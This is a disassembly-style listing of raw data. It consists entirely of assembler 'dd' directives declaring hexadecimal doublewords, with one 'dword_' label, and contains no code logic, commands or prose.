251BA7B5h, 5595609Bh dd 0B1FD600h, 26058607h, 0C4432E52h, 0ECF8013Fh, 0F0D3D46Fh dd 0E100E975h, 63EFB528h, 0E27F8Eh, 26E67E38h, 0A02D2456h dd 0C91E3B00h, 0E8F236CAh, 0B49100C5h, 0D3285B46h, 0FD7C8C2Fh dd 2900D00h, 265D34FEh, 0A988017Eh, 0A5F4DBB7h, 4DDD303Bh dd 38C0CD72h, 8F849495h, 76A7A63h, 0BDDA82F6h, 21B84FF0h dd 9400EF22h, 0E95EA921h, 0AF0912h, 43D29BCAh, 75A13BA4h dd 0D7EF1500h, 60BCFCFFh, 0EA881846h, 0FA41404Bh, 0BCA650Bh dd 5200008Ah, 7A39A724h, 514D00F8h, 0F44CBCE8h, 40668A6Bh dd 7796050h, 0D90B8134h, 0C84A96CFh, 0F5E19C07h, 7FC1BCEBh dd 68427465h, 0E78032A2h, 0F8656BB8h, 210068AEh, 0A08894EEh dd 5E0B5Ah, 0BDDF0C7Ah, 7F0A4145h, 58F59130h, 12B78125h dd 0DAB0DDh, 0CD9D3476h, 0A000E986h, 5DC5EF6Dh, 38FF52Eh dd 17DBDDDEh, 688D252h, 8C00756Ah, 0ED024DD9h, 1C369Dh dd 1362FC1Bh, 0C253A43h, 4C908600h, 46DE02C2h, 2ACD3CE3h dd 0B61CCA80h, 9777CB3Fh, 7214DC00h, 0B0BD08F7h, 0C90300C1h dd 8CAFD08Dh, 0B300843Fh, 5AD985EBh, 6ED9D46h, 20236533h dd 0B93986DAh, 2943003Dh, 44FC073Bh, 49BB00B8h, 0F49CFD5Eh dd 0AE007015h, 0CA8EBB1h, 432F19h, 6DF6CF6Eh, 9FB51EE5h dd 0E317F000h, 0FF2920A8h, 130F023h, 0ECB9FB08h, 9C21799Eh dd 47C038D9h, 0BB611F45h, 4985005Bh, 0C31C9636h, 0D5000A9Dh dd 6E3FD9DEh, 2E6311E0h, 41D701h, 0FDB6DC13h, 0C20F361Ch dd 0F30BFC9Eh, 0FA842400h, 0E6F2B8ADh, 0A2D800D5h, 0D7E1240Eh dd 9101A9CDh, 1557FED1h, 1CCCB42Ch, 19920005h, 0D73F8503h dd 0B2036FBAh, 0AC44D64Ah, 17DD81D5h, 0CD8740BFh, 46E6A6h dd 514BF17Ah, 0F2161500h, 2F9A3327h, 0D81A006Eh, 39AA23ABh dd 90073B6h, 0B4975A81h, 1B044F8h, 669FE568h, 40CE3C70h dd 89E2F1DCh, 8E034600h, 8B0018Bh, 0EEEEC5h, 3AFA7ED0h dd 6A1131F0h, 0AC0078EEh, 4780A868h, 71A423CAh, 254102FDh dd 6036AB86h, 71D7D783h, 40116CD0h, 0EBAA800h, 98962995h dd 0F25300B2h, 0D8854873h, 0AE7381FFh, 3C7D1D00h, 0EBC4D393h dd 0EADC07ECh, 0A07F65C0h, 34CE4452h, 5C70C7FEh, 48694900h dd 0BCCA79Bh, 54DA00B7h, 3A94C51Bh, 0ED769299h, 0D5AE5105h dd 0BC4067BFh, 0E490D962h, 29995850h, 2FB2E600h, 88FB1864h dd 0D7136900h, 804C9C11h, 0A0E000E2h, 4CCEEFEh, 69034EB1h dd 0EFEBDC6Fh, 7D60FFFBh, 3BB38Fh, 0C2508C38h, 4EE4283Ch dd 2EAE0203h, 0D041792Dh, 1FBF7853h, 40455F04h, 0F1C7522Ah dd 9100A1FFh, 35811D05h, 76914FCh, 0E9AD7A82h, 0C66160EBh dd 926AD37Dh, 1C14CC8Ah, 309BC7C4h, 0BE82800Bh, 3FD4ACh dd 0BB42AB51h, 0CCCE76D9h, 0CF8FB600h, 4B06637Ah, 0BDF290h dd 0E82620ADh, 0D2CBA88Ch, 0F1B9CA0Fh, 0FCE56078h, 0ED984h dd 93744F3Ah, 0DA5387DCh, 1840EC00h, 7F9F8C07h, 0DBE8005Ah dd 567BB0A3h, 55098313h, 0E2D76FFh, 17D94470h, 0A7CDB000h dd 0D30FB4BBh, 6048267Eh, 34422716h, 979B0073h, 681277EAh dd 1400804Eh, 0D81E1DABh, 942425h, 20C8B3DCh, 587CC199h dd 80A1363Bh, 0EED87A42h, 0A66067h, 30A9E0B9h, 13CF4B89h dd 1FCC6300h, 0D8C13DA1h, 55B602B5h, 0E8141D07h, 0DEEE9C40h dd 0CE578801h, 0C3D2D3ACh, 7E39C4h, 0EC1F8131h, 4EF4E4EFh dd 220053E4h, 2C0EB964h, 0DE1109h, 0C138AB87h, 60624AF6h dd 14EF4F12h, 0E0071441h, 1C8D217h, 576C0046h, 3262A25Ch dd 0EB001D90h, 0B655F06Eh, 0A4929Fh, 0A25E1C05h, 0AF254535h dd 0B0A9B117h, 3A666903h, 0B288A8F8h, 415101E6h, 590E8C2h dd 365DC0C5h, 839B573Fh, 0A77570ADh, 9FCDA8C6h, 0E1F024FFh dd 0C890010h, 7B01959Eh, 0E57A3F00h, 3975EBF7h, 71E903CDh dd 81079FA4h, 0C9F88CD0h, 0E1051A00h, 80DDBA31h, 58D100E7h dd 3849D256h, 33001D93h, 1180ECAh, 6086156Ch, 0D13D6445h dd 70009FCBh, 614E071h, 0E86741A3h, 0F5B00111h, 18933F2Ch dd 0DEDBC02Fh, 99607AD8h, 0E6A31EC0h, 0AF2B8091h, 0AC0F9225h dd 7350E4E2h, 0EB00C2ECh, 0CA2C172Fh, 0A655F9h, 0FE8C8E77h dd 0D13C9403h, 5144720Ch, 0B7F108h, 0BE0409DFh, 0B2527AEh dd 3DC9E203h, 0F2B83AD7h, 0BCC16359h, 387874C1h, 19F4C1C1h dd 35250048h, 52B62FF1h, 0AC39D456h, 0FCE8000Eh, 121BD1ADh dd 24850FB7h, 15A00BD3h, 83EC2E28h, 4400907Ah, 9F51DBD9h dd 1E9A1DE7h, 0C2383A75h, 16AF73D2h, 7D083468h, 199E39h dd 51D5588Ah, 4B85BC3h, 72BD768Fh, 3826F86Ah, 0AF360122h dd 6EF8962Ch, 0E85E8443h, 9813A3h, 1163C8Eh, 0FF2A2385h dd 31F6F300h, 2E80D79Dh, 0E7FE1E1Dh, 3869C02Dh, 29A53278h dd 2082BD30h, 306CAEE2h, 0D6118845h, 67001192h, 840638ACh dd 24C7BB4Bh, 1E4CA77Dh, 6CD58D0Dh, 0CF78CC80h, 0EBD03904h dd 41C026D7h, 0EF15D11h, 0DC8F3D72h, 938D2AE0h, 85007DA9h dd 7AE1903Ah, 0DA26B8h, 2A9A5E0Ah, 0CEAF1289h, 0F802D42Ch dd 0D766F701h, 6BE03D51h, 160900B8h, 0BECAF665h, 96ECCCD8h dd 39DE3400h, 0E6524D37h, 19910EC6h, 8960CEB1h, 443D5B6Ah dd 4EADB40Eh, 3C28201Ah, 0E114DF6h, 346567B6h, 0C04A25C0h dd 4707FA60h, 27D48EDh, 0B4E43D0h, 0E1840033h, 2686C9F7h dd 0AE01B7B0h, 12187C1Dh, 142090A5h, 44AF00B8h, 0E224DC84h dd 5A006EE1h, 12C9CE0Ch, 1EFFE5D4h, 6C52F3C4h, 0C80BC058h dd 6C0F2119h, 0E0ACE459h, 2FAB5E91h, 43D400AEh, 3212A7BEh dd 2407108Fh, 3E781795h, 74300D50h, 0D94C07D1h, 0D0965C1Bh dd 0CA293ABCh, 80A78E00h, 0F0CB4391h, 2C0F483Ch, 0E2794900h dd 615D6EB9h, 0B1130600h, 7AD8C975h, 4223178Eh, 0F76600CBh dd 0C80DAC3Ah, 89B20C00h, 38A74EB8h, 45DB0375h, 155E7F1Dh dd 0BFE0A980h, 3547E400h, 68CCF5F7h, 6D4E0072h, 279779A1h dd 0FA13EA7Fh, 1416CD9Eh, 0F04610h, 6DC61B0Bh, 79BC58h dd 2F17DCA9h, 0A828EF73h, 11A78603h, 0D88B7E80h, 3CDBE0F1h dd 0B3BE3012h, 0E7DDC40Bh, 8AB81421h, 28E82025h, 38857830h dd 0EB37CC8h, 7080DF6h, 0C0A0CAC4h, 32CCD99Ah, 4E065907h dd 1B20C220h, 789A66D3h, 1E6064Bh, 20B896A6h, 3A911101h dd 215CBA97h, 27A8288Eh, 5519BB01h, 0EE6E846h, 38F2DF30h dd 71815B4Eh, 92A33A3Ah, 4F653002h, 108EE00Fh, 9B5A6FE0h dd 0A2008FC0h, 17505B09h, 48B47h, 7CB47D57h, 2D42F670h dd 0FB20180Bh, 8488006Fh, 13B769h, 26A0A4E3h, 18DF3072h dd 1D250E00h, 0ADC92F44h, 60F7005Bh, 40EF869Ch, 0A800ECEEh dd 8128B237h, 3317C518h, 0F3F9586Fh, 49B510D0h, 77B1DD2Eh dd 331CEA00h, 4093908h, 2C709620h, 0FD6E8193h, 350698BBh dd 4546F0h, 0F501E7E4h, 15CEA98Ah, 87C07C1Ch, 0A0E921D8h dd 39E80C64h, 6C71B306h, 0BAA65205h, 0F383A437h, 4DC69833h dd 9A3B0057h, 4B21AC25h dd 0F129FD4h, 0B8004326h, 4666D95Eh, 0D0340378h, 0B27A1593h dd 0B075178h, 0EF0160Ch, 60335512h, 0C0AD0A2Eh, 52136521h dd 0E9003235h, 567FA1B2h, 0F330EC2h, 5AA0D3B7h, 8C8D140h dd 0FF01BBEAh, 994B46DBh, 40872A77h, 506B58E6h, 0F3ECD240h dd 841A2B00h, 8A5A3B2Dh, 48F5FA70h, 9F009D44h, 7405A19Ah dd 9C72A524h, 66CA0B00h, 0E1811217h, 481614D4h, 11015CA4h dd 0B57B6927h, 0E7688047h, 2E2D3D65h, 15BA0007h, 0FF1F67BCh dd 0ABE26C3Bh, 0F3E3D700h, 0F045327Bh, 4C6100DDh, 0BC28B60Eh dd 14EA8EC5h, 9900FF71h, 9E90A857h, 2724582Bh, 88008FAEh dd 0A712E9F4h, 116A590Eh, 0A0EF20h, 0EE9D5B6Bh, 299007A4h dd 51B9A1D8h, 80F092B4h, 66216B30h, 18462D11h, 115F2216h dd 0AA078ACBh, 37350153h, 833F4FAh, 2B212C47h, 0C24D0021h dd 1CA3CD34h, 517E1F1Fh, 117B3FC1h, 52F44A6Bh, 94F803A8h dd 0DEBB3715h, 0C0E34781h, 3D7B0533h, 3074F0EDh, 0F3440E1Fh dd 8C5D2681h, 909112E8h, 0AA7C8008h, 42A5017Dh, 8359C302h dd 0C316C8AAh, 53E0B0Dh, 1301BD68h, 88121074h, 64294661h dd 0A5916707h, 33F60150h, 312840CCh, 0E8585BA5h, 0FB0C0032h dd 0E915A0C9h, 4E005440h, 6AB659Eh, 7C20DBBCh, 0E53D00B1h dd 6AED420Fh, 410021DFh, 8CD847F2h, 759DAD3Bh, 2A7637h dd 86790D96h, 5EDA7CBCh, 0FFD55500h, 0E54C3D2Ch, 0EF8C0085h dd 535D6632h, 3E00AC3Ch, 180B5FCEh, 0F437F8h, 7FEAC370h dd 80F9CF6h, 0A67D9701h, 0D4027A4Ch, 32293E4h, 0CFD87B62h dd 6FFB67AAh, 0F7BBBDA0h, 0C906160Eh, 949CA1F8h, 882040E2h dd 7B9A0131h, 0E0D14FF3h, 0CB16E879h, 2741D500h, 0FA9CD7E4h dd 0A6EA0085h, 3B82788Bh, 0F400B1CAh, 0DEB66098h, 22D3A0h dd 2A2B98Eh, 0FC4CAFBFh, 3F98E400h, 303DFBB1h, 2FD80021h dd 9A6A81A9h, 730C3708h, 487FC2AEh, 238009Ch, 816ED284h dd 0E8180636h, 0E3CEB193h, 3E560761h, 9185DB27h, 0EC208B9Dh dd 0B3014B1Bh, 8E305376h, 58F083C3h, 5E8003F5h, 1536680Ah dd 0AA0045CBh, 0CF13DF78h, 0ACF216h, 0DCBBD523h, 5EF750B3h dd 4091AF30h, 1A521F9h, 0E95716E4h, 0CCEE3693h, 0B4750FFAh dd 392BB800h, 0D67D995Ah, 0A89A6737h, 6C48D33Ah, 0BAF33103h dd 0B82E9768h, 0BC56B3h, 6E50DD06h, 0F972F4F1h, 30DFD018h dd 0D2D8E0h, 1932449Bh, 977D895Ah, 14B76C1Eh, 3EFC8BCh dd 995506FBh, 0EBF7F008h, 0F64BFE63h, 7771395Fh, 946E1680h dd 0C49ABC8Eh, 851AB907h, 8770C913h, 72604A4Ch, 9C1E00D8h dd 0E8104953h, 200A8FCh, 8DFFE49Eh, 15819Fh, 64DDA2F6h dd 124B859Bh, 433A221Fh, 3EF9ECCEh, 162562Dh, 0FCE3359Ch dd 494BDC16h, 6C7E6200h, 8CA9FB23h, 43AB005Ah, 905B4DC5h dd 2478EE37h, 6A76B576h, 0F5988500h, 60DBF1C7h, 71F21E6Eh dd 0A7807F3Bh, 0B36120E7h, 2A5CC741h, 309100D2h, 2E720377h dd 7C320015h, 0C5264F5Dh, 0F8069612h, 0AF1F85BEh, 651C00F8h dd 72F57327h, 9A03012Dh, 26AD44E0h, 0D12BE828h, 0A1BB0023h dd 0C98645B6h, 0C073ED2Fh, 3900F2FEh, 0F111AC07h, 73E4334h dd 7B5F7364h, 0FB7F5082h, 0C33A6F36h, 991303FAh, 0A36979C5h dd 1476E0E0h, 12EE0CADh, 721FE6Ah, 127FB63Dh, 0AD0071C6h dd 0CE817EA7h, 67B300EFh, 0F63A8EFCh, 5F006A2Ah, 0F211ABB2h dd 88A615h, 9DEC6CC9h, 626B7AFBh, 88C79278h, 0DBC080DCh dd 0CCEF25h, 0C052BD6Eh, 0DF5DC2A5h, 3CDCB907h, 6F819B9Ah dd 0A3E01909h, 1F6500EDh, 0B69560BBh, 121E5155h, 0A4005DD3h dd 0AEAB61E1h, 7CFF0340h, 86808C22h, 0C29559B0h, 93EC0600h dd 55624B73h, 2EBE872h, 66144DA0h, 60F7C2A3h, 0F8BE0FE5h dd 0CE7593h, 897C7353h, 0B13E61E9h, 140F163h, 8AF316h dd 902C8F58h, 3BF0105Eh, 0D0747D00h, 914D22BBh, 2F8D00D8h dd 6F2C897Eh, 1B3E50F7h, 43EB004Ch, 0BFA6992h, 5720C029h dd 18E41C10h, 63010A79h, 0CECA8365h, 0F0E8ED91h, 0B272C2h dd 0D882643Fh, 0A421AFB9h, 0FD599606h, 18D886E4h, 0A0E6DFC4h dd 0CB18A7E1h, 0E4C84AA1h, 4D020145h, 0CB916C7h, 98B1608Fh dd 572684A0h, 6928E702h, 0A0741A72h, 0E60C0690h, 0C60B1850h dd 7D3C788Bh, 5A5EB503h, 0C0943EFDh, 48E6F7h, 0CBCDEB31h dd 384C28ACh, 0E4EFD600h, 928214F1h, 0CEB81402h, 8842418h dd 803603BEh, 0B8EEBB38h, 0CE789314h, 452DEB90h, 6046E408h dd 5229100h, 3483DBCEh, 6C633128h, 0D8E08129h, 200991Dh dd 259629A4h, 28DEC851h, 0CEF88076h, 1980CE28h, 9B02F2A5h dd 0F4A96A00h, 0A08CD955h, 4D5E442h, 0A5622C92h, 1088075h dd 0CD12D4C9h, 0AA105F0Ch, 69240FF8h, 402124Fh, 0DD3486F3h dd 0D0BC30C1h, 0C200A10Eh, 18B7793Bh, 17D1C13h, 0E305F030h dd 50AF529Eh, 3E279CB4h, 85964001h, 36209921h, 0CDD6FC40h dd 0B2BA0033h, 2211BC5Bh, 0E500E3E6h, 4FAD9137h, 397990h dd 0B6E027A4h, 2A8F0BA9h, 0C54A5600h, 0E42BC9A1h, 9F5B0117h dd 0F6396047h, 0EFA7DF7Fh, 73DCCF01h, 26A73058h, 185E0531h dd 0A6F8ABACh, 0B9BE3F2Ch, 0EC563080h, 0D207F9F7h, 0D0C317Bh dd 50ABAAF1h, 0DEAEC08Ch, 0FE29539Bh, 0D3EAFF00h, 7D58C1D6h dd 56650070h, 3A84D0F1h, 8507F723h, 7B671B09h, 7259F6F0h dd 0C11D0055h, 8F039E4h, 6C270F29h, 0A3F65Eh, 596F7570h dd 100181Fh, 98504D66h, 792A4F7h, 0B9BD9E4Ah, 0CD89D01Bh dd 0E300E4A7h, 0FE164163h, 1CAA111h, 1D79BA87h, 0EC76F3B8h dd 1000B5A2h, 173B4856h, 0FE05307Bh, 59880F37h, 0A8E08ABFh dd 806C82D5h, 44FFBB07h, 2610B036h, 9D4CAAh, 0DFDD466Bh dd 8C80533Ch, 86C27900h, 441FDC65h, 0FB80366h, 863C4FDh dd 0B7D03Eh, 6535A40Ah, 0E5B8009h, 6FAF1ECAh, 9E574F40h dd 0A00EDBCh, 776AB9CEh, 3DE2267h, 4B783ACFh, 0F2BA5434h dd 7A219080h, 4A0098ECh, 0DAC6BA9Fh, 3F2B0Fh, 84FC0ACFh dd 459AE530h, 1C13FE38h, 1D971F63h, 1C036300h, 0FDD6582h dd 328F75A7h, 0EEA18BC0h, 0D300CD0Ah, 7FC8D8EBh, 0F2A92DCBh dd 0C3FA0013h, 5D106321h, 0F8006D1Bh, 304E2A84h, 12114Ah dd 0BB9F438Fh, 546AB01h, 84323700h, 53DEFFC9h, 0C80660D6h dd 0CE1E3F29h, 0E5C08100h, 0FA77048Bh, 78F600A4h, 0E2799DE1h dd 917738Eh, 0D618AD6Dh, 0FD8B4CF4h, 75E6AD61h, 0EC2F82C0h dd 78BB0B39h, 5B5E4100h, 1D7F2606h, 45750E25h, 3AE0BEC6h dd 79AF65E3h, 0EA4A9403h, 0E86A8A69h, 6B93DCh, 7C04FC66h dd 21A4BBA3h, 65688C00h, 0C592CAD9h, 0F330002Fh, 5AAB1537h dd 0A507DD2Ah, 29EEB5B1h, 199838A0h, 0A940040h, 3299D65Bh dd 2000F869h, 1AC1879h, 7FE02C4h, 6C58BEA8h, 0FC59C082h dd 4E0032D0h, 0E2A7852Bh, 787E3D6h, 0C9469B9Fh, 0A5160076h dd 84007F18h, 8F2C6941h, 12A8D3h, 0D436CBA4h, 3F93279Fh dd 0C6C4B0A0h, 7005FF4h, 78ECF24Eh, 4F940FBh, 3F08DE42h dd 923280E6h, 331EFED5h, 2F408030h, 4E101591h, 43811273h dd 932440EBh, 813A0D5h, 0F4499C02h, 8074FF14h, 38B94DECh dd 157501E1h, 8E9D695Fh, 0CA902006h, 5BCF7B12h, 0F980005Ch dd 4F55BEF1h, 93FF00CEh, 6BBB4DD7h, 97031CF4h, 0A221C047h dd 1687BBFh, 0D6FBF6CCh, 0F46F424Dh, 1B0077C9h, 0A00A0EC4h dd 388A11h, 0FB1C4FC1h dd 47962093h, 2735E91Dh, 0D6CE2840h, 0C0E10D91h, 41AD3C19h dd 4B003A83h, 25AA9F8Ah, 1F2BAB2Ah, 97ECC21h, 31003916h dd 987C5CBDh, 2AF88D00h, 0BF5D6CDh, 1FC0142h, 0D957ACE7h dd 8A70DC87h, 0CAF4CF50h, 51477500h, 222BAB2h, 2E7C73h dd 7D24F2B7h, 0A36D8927h, 0F0CEFC00h, 3CCC7CA9h, 0F2750F76h dd 0B40BDA8h, 0E78D9CE9h, 0EEC39E00h, 7EE66834h, 0E70C4C95h dd 94056500h, 1F52D799h, 6907D5F4h, 0A5341C39h, 0ABD938F0h dd 0DCB00C7h, 4012DC33h, 0D43CDA37h, 670C9663h, 0D13C1602h dd 0C9A680A6h, 35CE4Ch, 41762755h, 0CC8F1633h, 74F30B1Eh dd 0F7801F40h, 3F4DB06h, 0DE018412h, 30D7C9EDh, 45DB3E6h dd 2849D500h, 213A82Dh, 75CB0077h, 2E5CC79Bh, 0FA0BF0E4h dd 6C6DF8h, 4A127A07h, 0C0393D72h, 6FFA7Fh, 5CA5FACAh dd 717BA13Ch, 0ED120C00h, 143D5976h, 619A03E3h, 38DC8D2Ah dd 5DE787F0h, 511A0300h, 0CD4B15D9h, 3F267DF3h, 3880310Bh dd 0D2A388D8h, 5400FAC8h, 95A84C33h, 753B899h, 0B5CEA6A5h dd 15C160ABh, 6A5C2625h, 2CB30FE9h, 44046352h, 7B66C8BAh dd 5EF300CCh, 0F065DC23h, 495CF5FDh, 25B2072Ch, 0C3834EF9h dd 18779046h, 330601DCh, 541D0C76h, 0F4D5F0DBh, 388C48h dd 29DEA3A7h, 0EEE58150h, 0C6590014h, 3028CE23h, 930A4996h dd 0BC2045C8h, 0C3E17B00h, 7EA76D92h, 3766078Ah, 50AD26DCh dd 0DBB48651h, 47A0C700h, 0F7CE9101h, 2C805464h, 31A20036h dd 0FBCC97Dh, 0DD0017F4h, 0FFD7D54Dh, 3D3A6B48h, 0E98022A1h dd 0D0EB5D02h, 0CE0032A9h, 0D216A6BEh, 939426h, 4C655E97h dd 0D3A93EF7h, 0AD721100h, 23CC321Fh, 0E6B1F55h, 4A2D40ABh dd 456AAF1Ah, 975FDC03h, 0A079FC39h, 0C73D52h, 96E26D5Bh dd 0F94A8518h, 0B7AAEA00h, 3BCBE15h, 9CFB073h, 49A91B25h dd 835A3C21h, 4B0817h, 0B104A2BFh, 469C711Eh, 95BD6B01h dd 57D6C72Fh, 0E346AD4h, 873AD066h, 0B4948520h, 60EEE9A7h dd 3FCE4200h, 7366FA97h, 57BD0FDBh, 2BC3EB7Bh, 6E981DE9h dd 800AD3F1h, 0B43170E3h, 8F793407h, 6D538640h, 0AE7BAFh dd 0F32FD999h, 9DE94256h, 0D5CD7F00h, 7ACCF2C4h, 3A97B51h dd 0E17971Eh, 0C007842Dh, 0A1B5717Fh, 7ADB3580h, 62CE1E70h dd 2702C0FAh, 1AF948Fh, 3A3BED00h, 2C16B0D8h, 8AE12AC0h dd 0F44B2884h, 2BE20038h, 7B25A944h, 9407E11Ch, 0F7C42A28h dd 8D8B7EA0h, 0A74B0006h, 79DD3831h, 86B87F03h, 0F1136609h dd 0D2C2224h, 8E0C10ADh, 140E70Eh, 9935C05Dh, 7E6F6FEh dd 8982E945h, 3457E0C8h, 6DE4ED63h, 71688100h, 0D4087003h dd 0A5A4004Ah, 775BBD72h, 0F0143EFh, 41A7C27Ch, 95DC54D9h dd 96570035h, 1E3AF0FDh, 8B0060A6h, 0FFC0F407h, 0F5BF29h dd 5D381BBAh, 0EF267EB5h, 6ACE7C1Eh, 8A484A40h, 0D0C8ECh dd 0CBE355F7h, 6BE1F076h, 0B417A0C0h, 1B5272h, 1534EA9Fh dd 49A4792Dh, 0E5DC9603h, 0A8C6566Dh, 0D8B1DDh, 0B7E6F985h dd 0BA0D93Dh, 13AC7D52h, 1443A4E5h, 0CC1AC2EDh, 0C81C5FE1h dd 0FD008C8Fh, 0F5338817h, 919383AEh, 44E784D0h, 314CBABh dd 0DE931FA9h, 5B52B006h, 94650FC0h, 0D280972Bh, 90C36B3Eh dd 138E84Ch, 0DC25EFD8h, 4DD17876h, 0F71460h, 705EF557h dd 31D5D1BDh, 0FEC44CF1h, 0C03D4000h, 32FA5B9Dh, 0AB7800D2h dd 5D2AF14Fh, 840770FBh, 726E4D37h, 81C0F260h, 61E90FD1h dd 66D816EAh, 0B8003847h, 130AAD03h, 5580EDh, 1FEB50ECh dd 0B932CE7h, 40F3AE0Bh, 0BE5000E8h, 60A7FAh, 0CBA92514h dd 810E6A65h, 6C00BCF4h, 5DCA5233h, 0F578C8Dh, 1F19BC2h dd 5F7DB7C0h, 0EA00A2ECh, 0D5D97ADFh, 3B43E0h, 2AC4CF2Bh dd 323686FAh, 9F0299E8h, 132C0840h, 0F1EB80ABh, 0ED4746h dd 0D99E7A43h, 0CB32A1E7h, 828A6F38h, 0F715CFA3h, 9BDC68FAh dd 401D4429h, 766CB600h, 21A9E489h, 0D82D50ADh, 62E901E5h dd 0B7036880h, 9450E4C5h, 3D7D0C00h, 730E1BB5h, 59600032h dd 7A4FBF22h, 1903E333h, 2A8BDDD4h, 6931A084h, 0FA503CEEh dd 8002D049h, 5259BE3Dh, 0DC6FD881h, 2F90C3CEh, 2490D532h dd 0CBE90902h, 67C3AC9Bh, 0B8EB0EF4h, 0C83FAEC5h, 6058AF44h dd 0DFA0A094h, 38F7CB5h, 0DBBECBF3h, 0E9E306CAh, 1997BFD8h dd 0B971D709h, 0E8EC80CCh, 27844Dh, 313F635Ah, 0F75D9CA3h dd 797FF800h, 0CDAC3C90h, 47A2054Ch, 0C0189507h, 83C9E6CEh dd 2E3B98B2h, 20AA17DCh, 988B6000h, 4CC004h, 0F92CB28Ah dd 0D2653C1Dh, 92D5C01h, 0E28D1C2Eh, 7E6448DEh, 39059840h dd 3E801461h, 0A3F76C7Dh, 4A769415h, 0A8D25A0Eh, 0D44840ACh dd 815359h, 0A9F8AE05h, 0C83E0DD7h, 76F4B802h, 80D3C551h dd 1D2732A4h, 6CC90038h, 37DA1F61h, 0B200CAFAh, 204713B1h dd 24FDDB36h, 0F9F42E6h, 2860CFA5h, 0C10D3205h, 945459h dd 1AFECD1Eh, 0B31FC2h, 3F95E343h, 0C91709C3h, 7645E03Ch dd 0CC00A098h, 72A46CB0h, 199844B9h, 183E6225h, 2437605Eh dd 3D10940Ah, 0A790188Ah, 987DF100h, 8444BA40h, 14007A73h dd 7E12EEAEh, 9933Fh, 5EF84772h, 0A7865DFh, 0E9BF2F30h dd 0B2569Dh, 8FCB452Eh, 0BE697407h, 385F3E29h, 6136BF44h dd 4D40B50Eh, 7B51B8C4h, 22EC1357h, 0FE6C007Ch, 6BA70FD4h dd 64B81400h, 0C1DD8AF1h, 0EEF8E4h, 0DAF60B84h, 0C82F183Eh dd 0B3643000h, 0A8A5A9EDh, 0C737005Eh, 0E77872FBh, 290026D7h dd 0AF2C3AD3h, 0D5B974h, 0DFBFB858h, 6E0761DAh, 9E735C02h dd 6082D967h, 0F27C413h, 0DA41F866h, 169F75E0h, 0B300E443h dd 6B201EF2h, 79C29CCh, 625263ACh, 0CF483030h, 56070792h dd 6E7DDFF6h, 454C89D0h, 0D85E0F2Eh, 7E20CCD6h, 4EA0CDC7h dd 9BF9C061h, 5D71EE3Eh, 3CEA0ED7h, 0EF8CB913h, 76B00221h dd 7A687100h, 2E6F52BDh, 0A1FF39D4h, 3D3550E3h, 5789F290h dd 5658F600h, 316BB0B8h, 0ACAA0Ch, 7F94EDA8h, 111D607Dh dd 0CB93DF53h, 5907D5E2h, 5E04E72Fh, 798A43h, 969E3120h dd 719ED9Dh, 0F1BC9A00h, 780A9B43h, 90360C5Ah, 2C61F85Eh dd 49902977h, 0C602DA03h, 0A3044A7Ah, 6E2103FBh, 93E35DFAh dd 0E7DADBC8h, 948DE118h, 9A2B20A0h, 183A0340h, 0C57A58C2h dd 2042E5A1h, 0E200A8C4h, 7830CFD3h, 60C1E119h, 409A38A0h dd 1B0F59A4h, 0E0933687h, 7431C682h, 0B2220032h, 8D9CC9F1h dd 2A039D3Fh, 537B645Ah, 0EC6C87Dh, 3B8C00E6h, 7EBB990Dh dd 0B4019BFEh, 0EF4DB997h, 0C67079E2h, 0C2B801B5h, 0B21F1A55h dd 7D49DCBDh, 415213Fh, 0A7E7F472h, 9A950C0h, 27F7072Bh dd 206AC4A2h, 5EAED5FEh, 0BE9ED9A0h, 70C62400h, 392C6129h dd 72DA023Dh, 198F9677h, 83B8D363h, 48007C5Bh, 0B9350AF9h dd 7A5DB8E8h, 0A60200E2h, 0CB8B5078h, 0C80019CDh, 8A5748DFh dd 0C70914h, 638E86FEh, 0BD3F3374h, 290047B0h, 0C0BF30E8h dd 0AA2C75h, 8D2A4AB0h, 82B6198Eh, 80739839h, 0D69B4986h dd 0ECE43735h, 0E3FC00CDh, 0B93F5A89h, 8D03AB15h, 0D18C125Dh dd 88E5ABD3h, 0F4447Fh, 95C219B0h, 76A89790h, 0DE75C500h dd 0C98F9458h, 30EC7DE3h, 4185E7Bh, 1631C8B9h, 0E74A1E5Fh dd 190896h, 14093950h, 84003A3Eh, 0C04D3B16h, 0D6AB7A44h dd 0F03B0061h, 4675CE56h, 0BF0071F0h, 6F2F8C11h, 399A1380h dd 0BB305B35h, 0E9270131h dword_52C048 dd 9DFB830Eh, 0F1F0091h, 3E6E84DFh, 0C6803704h, 0B5F1FF9Fh dd 10006FE4h, 0A8ABDC6Ah, 0E24818h, 0DC0DBCCh, 175CCB82h dd 703AFD00h, 84347C77h, 0BF40008Fh, 0A5E1E563h, 83188A60h dd 6428F792h, 0E4B606D4h, 208254F4h, 28DBD304h, 9F00C2F5h dd 0DFA5F89h, 3E55B313h, 8630A118h, 7C68E641h, 99D6007Eh dd 67FAA285h, 0F03ACBFh, 0B533F7DAh, 921A900Ah, 9563C7Bh dd 1097A107h, 7AC723B9h, 1C3ADED0h, 0D0600103h, 0E08869D9h dd 39A699F5h, 0F41E75h, 1F89FAB3h, 0A370CC37h, 0DE91FE00h dd 447B9A45h, 497852h, 0E68DD016h, 3E5BFAB7h, 88E9D400h dd 4DB37C72h, 57C93B26h, 8E063480h, 3E2881DBh, 5CCEC400h dd 5EE6EB99h, 5D0D00ECh, 553553DEh, 33761F26h, 2DFD2500h dd 7C3AD5BCh, 693E036Ch, 0C0E84B14h, 9F3730C0h, 9CAECA3Eh dd 13C08A87h, 0D414B64Dh, 8028DEF2h, 2D50BC36h, 0DA177E5Fh dd 0B700782Fh, 846EE4A2h, 7F203086h, 6C080728h, 3971C130h dd 22C2F0h, 38846451h, 8263ED4Eh, 632EA07h, 8620C54Bh dd 3A398192h, 2D3E42F5h, 0E5695E00h, 889E074h, 0D3668A00h dd 9CC7D847h, 0D97100A8h, 4AE2FCF5h, 5B06190h, 543F4E00h dd 0ECD4F642h, 0BBB4017Bh, 0D1BA2FAAh, 7906F356h, 0D1D115Dh dd 0C65C3D58h, 0C2700380h, 9B683876h, 2D8A4A00h, 75ED6BFAh dd 0ABCB002Bh, 6E795FA9h, 0B70021FFh, 32A5E282h, 60C5AFh dd 1DE9BC31h, 0CB6955F9h, 0CF6A040Ch, 0DEF815h, 4F4739FCh dd 6CD5FBB6h, 0FEAB88A0h, 0C308E928h, 151D1600h, 2C06FD5Fh dd 54CB0372h, 0EFA19B48h, 0E7C279B0h, 0E6D7EA00h, 8E9759DFh dd 50DB00EBh, 0D1F46C66h, 0A6009467h, 9F7EAA8Fh, 3BADDD9h dd 165358F8h, 6FB03EB5h, 4679899Dh, 2494FB00h, 2A28AE68h dd 3E3FF4EAh, 